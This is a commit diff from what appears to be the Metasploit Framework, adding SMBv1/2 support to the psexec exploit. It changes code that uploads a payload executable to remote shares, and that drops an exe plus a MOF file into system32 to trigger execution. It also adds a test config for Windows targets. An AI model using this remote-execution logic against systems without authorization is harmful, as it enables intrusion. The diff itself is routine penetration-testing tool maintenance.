Land #10185, add SMBv1/2 support in psexec

GSoC/Meterpreter_Web_Console
Brent Cook 2018-06-29 17:49:27 -05:00
commit 85dc81a58b
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
7 changed files with 91 additions and 93 deletions

View File

@ -166,8 +166,8 @@ module Msf
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better #fd.chunk_size = 500 is better
def smb_open(path, perm) def smb_open(path, perm, read: true, write: false)
self.simple.open(path, perm, datastore['SMB::ChunkSize']) self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write)
end end
def smb_hostname def smb_hostname
@ -220,6 +220,8 @@ module Msf
def smb_file_exist?(file) def smb_file_exist?(file)
begin begin
fd = simple.open(file, 'o') fd = simple.open(file, 'o')
rescue RubySMB::Error::UnexpectedStatusCode => e
found = false
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error, # If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there. # then we can be sure the file is not there.

View File

@ -142,7 +142,7 @@ module Exploit::Remote::SMB::Client::Psexec
if svc_handle.nil? if svc_handle.nil?
print_error("No service handle retrieved") print_error("No service handle retrieved")
return false return false
else end
if service_description if service_description
vprint_status("Changing service description...") vprint_status("Changing service description...")
@ -186,10 +186,8 @@ module Exploit::Remote::SMB::Client::Psexec
svc_client.closehandle(svc_handle) svc_client.closehandle(svc_handle)
end end
end end
end
if disconnect if disconnect
sleep(1)
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
end end
@ -272,11 +270,11 @@ module Exploit::Remote::SMB::Client::Psexec
end end
def native_upload(smb_share) def native_upload(smb_share)
filename = "#{rand_text_alpha(8)}.exe" filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
serviceencoder = '' serviceencoder = ''
# Upload the shellcode to a file # Upload the shellcode to a file
print_status("Uploading payload...") print_status("Uploading payload... #{filename}")
smbshare = smb_share smbshare = smb_share
fileprefix = "" fileprefix = ""
# if SHARE = Users/sasha/ or something like this # if SHARE = Users/sasha/ or something like this
@ -288,11 +286,11 @@ module Exploit::Remote::SMB::Client::Psexec
smbshare = folder_list[0] smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
else else
subfolder = false subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct') fd = smb_open("#{filename}", 'rwct', write: true)
end end
exe = '' exe = ''
opts = { :servicename => service_name, :serviceencoder => serviceencoder} opts = { :servicename => service_name, :serviceencoder => serviceencoder}
@ -330,14 +328,14 @@ module Exploit::Remote::SMB::Client::Psexec
if smb_share =~ /.[\\\/]/ if smb_share =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin begin
simple.delete("\\#{fileprefix}\\#{filename}") simple.delete("#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end end
else else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin begin
simple.delete("\\#{filename}") simple.delete("#{filename}")
rescue XCEPT::ErrorCode => e rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}") print_error("Delete of \\#{filename} failed: #{e.message}")
end end
@ -347,7 +345,7 @@ module Exploit::Remote::SMB::Client::Psexec
def mof_upload(smb_share) def mof_upload(smb_share)
share = "\\\\#{datastore['RHOST']}\\ADMIN$" share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = "#{rand_text_alpha(8)}.exe" filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
# payload as exe # payload as exe
print_status("Trying wbemexec...") print_status("Trying wbemexec...")
@ -358,16 +356,16 @@ module Exploit::Remote::SMB::Client::Psexec
end end
simple.connect(share) simple.connect(share)
exe = generate_payload_exe exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct') fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
fd << exe fd << exe
fd.close fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}") print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above # mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF" mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename) mof = generate_mof(mofname, filename)
print_status("Uploading MOF...") print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
fd << mof fd << mof
fd.close fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

View File

@ -141,43 +141,7 @@ require 'rex/proto/smb/exceptions'
# Are we reading from a remote pipe over SMB? # Are we reading from a remote pipe over SMB?
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
begin begin
raw_response = self.socket.read(65535, 0)
# Max SMB read is 65535, cap it at 64000
max_read = [64000, max_read].min
min_read = [64000, min_read].min
read_limit = nil
while(true)
# Random read offsets will not work on Windows NT 4.0 (thanks Dave!)
read_cnt = (rand(max_read-min_read)+min_read)
if(read_limit)
if(read_cnt + raw_response.length > read_limit)
read_cnt = raw_response.length - read_limit
end
end
data = self.socket.read(read_cnt, rand(1024)+1)
break if !(data and data.length > 0)
raw_response += data
# Keep reading until we have at least the DCERPC header
next if raw_response.length < 10
# We now have to process the raw_response and parse out the DCERPC fragment length
# if we have read enough data. Once we have the length value, we need to make sure
# that we don't read beyond this amount, or it can screw up the SMB state
if (not read_limit)
begin
check = Rex::Proto::DCERPC::Response.new(raw_response)
read_limit = check.frag_len
rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket
end
end
break if (read_limit and read_limit <= raw_response.length)
end
rescue Rex::Proto::SMB::Exceptions::NoReply rescue Rex::Proto::SMB::Exceptions::NoReply
# I don't care if I didn't get a reply... # I don't care if I didn't get a reply...
rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception
@ -306,7 +270,6 @@ require 'rex/proto/smb/exceptions'
raise Rex::Proto::DCERPC::Exceptions::NoResponse raise Rex::Proto::DCERPC::Exceptions::NoResponse
end end
self.last_response = Rex::Proto::DCERPC::Response.new(raw_response) self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
if self.last_response.type == 3 if self.last_response.type == 3

View File

@ -214,8 +214,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
end end
def delete(*args) def delete(*args)
if self.versions.include?(2)
self.client.delete(args[0])
else
self.client.delete(*args) self.client.delete(*args)
end end
end
def create_pipe(path, perm = 'c') def create_pipe(path, perm = 'c')
disposition = UTILS.create_mode_to_disposition(perm) disposition = UTILS.create_mode_to_disposition(perm)

View File

@ -29,7 +29,7 @@ module Rex::Proto::SMB
client.close(file_id, tree_id) client.close(file_id, tree_id)
end end
def read_ruby_smb(length, offset) def read_ruby_smb(length, offset, depth = 0)
if length.nil? if length.nil?
max_size = client.open_files[client.last_file_id].size max_size = client.open_files[client.last_file_id].size
fptr = offset fptr = offset
@ -47,7 +47,15 @@ module Rex::Proto::SMB
fptr = data.length fptr = data.length
end end
else else
begin
data = client.read(file_id, offset, length).pack('C*') data = client.read(file_id, offset, length).pack('C*')
rescue RubySMB::Error::UnexpectedStatusCode => e
if e.message == 'STATUS_PIPE_EMPTY' && depth < 2
data = read_ruby_smb(length, offset, depth + 1)
else
raise e
end
end
end end
data data

View File

@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit def exploit
print_status("Connecting to the server...") print_status("Connecting to the server...")
connect() connect(versions: [1,2])
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login() smb_login()

View File

@ -12,7 +12,8 @@
"NAME": "exploit/windows/smb/psexec", "NAME": "exploit/windows/smb/psexec",
"SETTINGS": [ "SETTINGS": [
"SMBUser=vagrant", "SMBUser=vagrant",
"SMBPass=vagrant" "SMBPass=vagrant",
"TARGET=0"
] ]
} }
], ],
@ -42,6 +43,28 @@
}, },
{ {
"CPE": "cpe:/o:microsoft:windows_10:::x64" "CPE": "cpe:/o:microsoft:windows_10:::x64"
},
{
"CPE": "cpe:/o:microsoft:windows_8.1::sp1:x64"
},
{
"CPE": "cpe:/o:microsoft:windows_server_2008:r2:sp1:x64"
},
{
"CPE": "cpe:/o:microsoft:windows_7::sp1:x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_10:1607::x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_8.1:::x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_server_2008::r2:x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
} }
], ],
"TARGET_GLOBALS": { "TARGET_GLOBALS": {